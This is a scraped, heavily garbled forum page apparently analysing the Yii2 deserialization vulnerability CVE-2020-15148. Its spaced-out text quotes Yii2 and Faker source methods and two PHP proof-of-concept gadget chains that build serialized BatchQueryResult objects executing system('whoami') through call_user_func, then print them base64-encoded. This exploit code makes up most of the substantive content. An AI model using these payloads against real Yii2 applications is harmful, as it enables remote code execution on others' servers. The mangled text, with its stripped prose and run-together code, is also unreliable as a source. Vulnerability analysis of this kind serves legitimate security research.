[1122] 2020-09-21_Yii2反序列化(CVE-2020-15148)分析

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2020-09-21_Yii2反序列化(CVE-2020-15148)分析 Y i i 2   C V E - 2 0 2 0 - 1 5 1 4 8     C h a B u g   2 0 2 0 - 0 9 - 2 1   h t t p s : / / b l o g . c s d n . n e t / f r i e n d a n / a r t i c l e / d e t a i l s / 5 1 9 6 0 5 7 4   7 9 - 9 8         p u b l i c   f u n c t i o n   _ _ d e s t r u c t ( )         {                 / /   m a k e   s u r e   c u r s o r   i s   c l o s e d                 $ t h i s - > r e s e t ( ) ;         }         / * *           *   R e s e t s   t h e   b a t c h   q u e r y .           *   T h i s   m e t h o d   w i l l   c l e a n   u p   t h e   e x i s t i n g   b a t c h   q u e r y   s o   t h a t   a   n e w   b a t c h   q u e r y   c a n   b e   p e r f o r m e d .           * /         p u b l i c   f u n c t i o n   r e s e t ( )         {                 i f   ( $ t h i s - > _ d a t a R e a d e r   ! = =   n u l l )   {                         $ t h i s - > _ d a t a R e a d e r - > c l o s e ( ) ;                 }                 $ t h i s - > _ d a t a R e a d e r   =   n u l l ;                 $ t h i s - > _ b a t c h   =   n u l l ; d b / B a t c h Q u e r y R e s u l t . p h p
                $ t h i s - > _ v a l u e   =   n u l l ;                 $ t h i s - > _ k e y   =   n u l l ;         }         / * *           *   @ p a r a m   s t r i n g   $ f o r m a t t e r           *           *   @ r e t u r n   C a l l a b l e           * /         p u b l i c   f u n c t i o n   g e t F o r m a t t e r ( $ f o r m a t t e r )         {                 i f   ( i s s e t ( $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ] ) )   {                         r e t u r n   $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ] ;                 }                 f o r e a c h   ( $ t h i s - > p r o v i d e r s   a s   $ p r o v i d e r )   {                         i f   ( m e t h o d _ e x i s t s ( $ p r o v i d e r ,   $ f o r m a t t e r ) )   {                                 $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ]   =   a r r a y ( $ p r o v i d e r ,   $ f o r m a t t e r ) ;                                 r e t u r n   $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ] ;                         }                 }                 t h r o w   n e w   I n v a l i d A r g u m e n t E x c e p t i o n ( s p r i n t f ( ' U n k n o w n   f o r m a t t e r   " % s " ' ,   $ f o r m a t t e r ) ) ;         } $ t h i s - > _ d a t a R e a d e r _ _ c a l l $ t h i s - > f o r m a t t e r s
r c e P O C - 1 - > - > - > - >   p o c 1 < ? p h p $ t h i s - > f o r m a t t e r s _ _ d e s t r u c t r e s e t ( ) _ _ c a l l c a l l _ u s e r _ f u n c _ a r r a y ( ) c a l l _ u s e r _ f u n c _ _ c a l l
n a m e s p a c e   y i i r e s t {         c l a s s   C r e a t e A c t i o n {                 p u b l i c   $ c h e c k A c c e s s ;                 p u b l i c   $ i d ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > c h e c k A c c e s s   =   ' s y s t e m ' ;                         $ t h i s - > i d   =   ' w h o a m i ' ;                 }         } } n a m e s p a c e   F a k e r {         u s e   y i i r e s t C r e a t e A c t i o n ;         c l a s s   G e n e r a t o r {                 p r o t e c t e d   $ f o r m a t t e r s ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ a   =   n e w   C r e a t e A c t i o n ( ) ;                         $ t h i s - > f o r m a t t e r s [ ' c l o s e ' ] = [ $ a , ' r u n ' ] ;                 }         } } n a m e s p a c e   y i i d b {         u s e   F a k e r G e n e r a t o r ;         c l a s s   B a t c h Q u e r y R e s u l t {                 p r i v a t e   $ _ d a t a R e a d e r ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > _ d a t a R e a d e r   =   n e w   G e n e r a t o r ;                 }         } } n a m e s p a c e   {         $ n   =   n e w   y i i d b B a t c h Q u e r y R e s u l t ;         e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ n ) ) ; }
y i i 2 0 d a y h t t p s : / / j u e j i n . i m / p o s t / 6 8 7 4 1 4 9 0 1 0 8 3 2 0 9 7 2 9 4 P O C - 2 $ c a l l b a c k c a l l _ u s e r _ f u n c   (   c a l l a b l e   $ c a l l b a c k   [ ,   m i x e d   $ p a r a m e t e r   [ ,   m i x e d   $ . . .   ] ]   )   :   m i x e d _ _ c a l l c a l l _ u s e r _ f u n c
p o c 2 1 c l o s e c l o s e / /   D b S e s s i o n . p h p / /   1 4 6 - 1 5 3         p u b l i c   f u n c t i o n   c l o s e ( )         {                 i f   ( $ t h i s - > g e t I s A c t i v e ( ) )   {                         / /   p r e p a r e   w r i t e C a l l b a c k   f i e l d s   b e f o r e   s e s s i o n   c l o s e s                         $ t h i s - > f i e l d s   =   $ t h i s - > c o m p o s e F i e l d s ( ) ;                         Y I I _ D E B U G   ?   s e s s i o n _ w r i t e _ c l o s e ( )   :   @ s e s s i o n _ w r i t e _ c l o s e ( ) ;                 }         } D b s e s s i o n M u l t i F i e l d S e s s i o n / /     M u l t i F i e l d S e s s i o n . p h p / /   9 6 - 1 0 6 p r o t e c t e d   f u n c t i o n   c o m p o s e F i e l d s ( $ i d   =   n u l l ,   $ d a t a   =   n u l l )         { c l o s e ( ) $ t h i s - > c o m p o s e F i e l d s ( )
                $ f i e l d s   =   $ t h i s - > w r i t e C a l l b a c k   ?   c a l l _ u s e r _ f u n c ( $ t h i s - > w r i t e C a l l b a c k ,   $ t h i s )   :   [ ] ;                 i f   ( $ i d   ! = =   n u l l )   {                         $ f i e l d s [ ' i d ' ]   =   $ i d ;                 }                 i f   ( $ d a t a   ! = =   n u l l )   {                         $ f i e l d s [ ' d a t a ' ]   =   $ d a t a ;                 }                 r e t u r n   $ f i e l d s ;         } c a l l b a c k I n d e x A c t i o n . p h p r u n p o c < ? p h p n a m e s p a c e   y i i r e s t   {         c l a s s   A c t i o n         {                 p u b l i c   $ c h e c k A c c e s s ;         }         c l a s s   I n d e x A c t i o n         {                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f u n c ,   $ p a r a m )                 {                         $ t h i s - > c h e c k A c c e s s   =   $ f u n c ;                         $ t h i s - > i d   =   $ p a r a m ;
                }         } } n a m e s p a c e   y i i w e b   {         a b s t r a c t   c l a s s   M u l t i F i e l d S e s s i o n         {                 p u b l i c   $ w r i t e C a l l b a c k ;         }         c l a s s   D b S e s s i o n   e x t e n d s   M u l t i F i e l d S e s s i o n         {                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f u n c ,   $ p a r a m )                 {                         $ t h i s - > w r i t e C a l l b a c k   =   [ n e w   y i i r e s t I n d e x A c t i o n ( $ f u n c ,   $ p a r a m ) ,   " r u n " ] ;                 }         } } n a m e s p a c e   y i i d b   {         u s e   y i i b a s e B a s e O b j e c t ;         c l a s s   B a t c h Q u e r y R e s u l t         {                 p r i v a t e   $ _ d a t a R e a d e r ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f u n c ,   $ p a r a m )                 {                         $ t h i s - > _ d a t a R e a d e r   =   n e w   y i i w e b D b S e s s i o n ( $ f u n c ,   $ p a r a m ) ;                 }         } } n a m e s p a c e   {         $ e x p   =   n e w   y i i d b B a t c h Q u e r y R e s u l t ( ' s y s t e m ' ,   ' w h o a m i ' ) ;         e c h o ( b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ e x p ) ) ) ; } e x p C V E - 2 0 2 0 - 1 5 1 4 8   Y i i R C E   e x p
h t t p s : / / w w w . c n b l o g s . c o m / p o t a t s o S e c / p / 1 3 6 9 3 9 6 9 . h t m l y i i C V E - 2 0 2 0 - 1 5 1 4 8 o s s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则